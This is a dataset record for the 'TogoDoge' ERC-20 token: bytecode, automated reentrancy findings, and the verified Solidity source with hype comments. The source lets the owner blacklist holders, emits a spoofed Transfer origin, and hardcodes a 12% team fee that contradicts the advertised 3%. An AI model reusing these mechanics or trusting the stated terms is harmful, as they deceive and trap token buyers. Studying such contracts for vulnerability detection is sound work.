00908152600b6020526040902054600354919450610e6d919063ffffffff61100c16565b9150818311610e7c5782610e7e565b815b9050808611610e8f57856000610ea0565b80610ea0878263ffffffff61100c16565b945094505050509250929050565b6000821515610ebf57506000610e19565b50818102818382811515610ecf57fe5b0414610e1957fe5b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b505050506040513d6020811015610f7d57600080fd5b50511515610f8a57600080fd5b505050565b600160a060020a0381161515610fa457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561101857fe5b509003905600a165627a7a72305820683ae425950a162f76badfc74240e9cabed1c51123f114346eab4aff3aaad86b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 998 |
0x72fb4af842e21b444cccf2da3d66ce28277528f9 | /**
*Submitted for verification at Etherscan.io on 2021-07-18
*/
/**
* welcome to TogoDoge
*
*
* totalSupply : 1,000,000,000,000
liquidity : 70%
totalBurn : 25%
Marketing : 3%
team dev : 2%
***** I will add 1.5 ETH to the Liquidity *****
// FAIRLAUNCH
// Easy x100
// Liquidity pool locked
// Renounce
// Contract verified on Etherscan
tg: https://t.me/TogoDoge
twitter : https://twitter.com/TogoDoge
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TogoDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Togo Doge ";
string private constant _symbol = " TD ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xB34816256407484afa5dEE3e3D9d43aE6FbAF599), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
/*
*/ | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9f565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a6565b61045e565b6040516101789190612e84565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613041565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612953565b61048d565b6040516101e09190612e84565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b9565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130b6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b9565b610783565b6040516102b19190613041565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612db6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e9f565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a6565b61098d565b60405161035b9190612e84565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e6565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a89565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612913565b6111f4565b6040516104189190613041565b60405180910390f35b60606040518060400160405280600b81526020017f20546f676f20446f676520000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f81565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f81565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2054442000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f81565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613357565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e00565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f81565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128e6565b6040518363ffffffff1660e01b8152600401610df9929190612dd1565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128e6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e23565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ab6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dfa565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a5c565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f81565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f41565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061208890919063ffffffff16565b61210390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e99190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f01565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ec1565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612fa1565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613021565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613177565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611e00565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c078484848461214d565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e9f565b60405180910390fd5b5060008385611c649190613258565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660048661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560068661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ee1565b60405180910390fd5b6000611de361217a565b9050611df8818461210390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3857611e3761342d565b5b604051908082528060200260200182016040528015611e665781602001602082028036833780820191505090505b5090503081600081518110611e7e57611e7d6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5891906128e6565b81600181518110611f6c57611f6b6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203795949392919061305c565b600060405180830381600087803b15801561205157600080fd5b505af1158015612065573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561209b57600090506120fd565b600082846120a991906131fe565b90508284826120b891906131cd565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612f61565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b8061215b5761215a612208565b5b612166848484612239565b8061217457612173612404565b5b50505050565b6000806000612187612416565b9150915061219e818361210390919063ffffffff16565b9250505090565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e9f565b60405180910390fd5b50600083856121fb91906131cd565b9050809150509392505050565b600060085414801561221c57506000600954145b1561222657612237565b600060088190555060006009819055505b565b60008060008060008061224b87612478565b9550955095509550955095506122a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238a81612587565b6123948483612644565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f19190613041565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061244c683635c9adc5dea0000060065461210390919063ffffffff16565b82101561246b57600654683635c9adc5dea00000935093505050612474565b81819350935050505b9091565b60008060008060008060008060006124948a600854600c61267e565b92509250925060006124a461217a565b905060008060006124b78e878787612714565b9250925092508282828989899c509c509c509c509c509c5050505050505